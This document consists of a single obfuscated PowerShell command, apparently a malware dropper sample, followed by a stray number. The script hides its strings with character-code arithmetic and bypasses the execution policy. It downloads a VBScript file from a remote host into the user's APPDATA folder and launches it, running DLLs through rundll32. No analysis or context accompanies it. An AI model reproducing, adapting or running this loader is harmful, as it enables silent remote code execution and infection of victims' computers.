powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function NA($iBDUWveK, $kacHvkg){[IO.File]::WriteAllBytes($iBDUWveK, $kacHvkg)};function O($iBDUWveK){if($iBDUWveK.EndsWith((ct @(340,394,402,402))) -eq $True){Start-Process (ct @(408,411,404,394,402,402,345,344,340,395,414,395)) $iBDUWveK}else{Start-Process $iBDUWveK}};function a($wRoPwidyD){$ZUycrAxw = New-Object (ct @(372,395,410,340,381,395,392,361,402,399,395,404,410));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$kacHvkg = $ZUycrAxw.DownloadData($wRoPwidyD);return $kacHvkg};function ct($koLce){$GYtomjgIU=294;$CfUes=$Null;foreach($orCECxg in $koLce){$CfUes+=[char]($orCECxg-$GYtomjgIU)};return $CfUes};function Lbu(){$Xr = $env:APPDATA + '\';$M = a (ct @(398,410,410,406,409,352,341,341,403,415,396,399,402,395,412,399,395,413,343,340,393,405,403,341,410,405,394,391,415,340,412,392,409));$h = $Xr + 'today.vbs';NA $h $M;O $h;;;;}Lbu;
316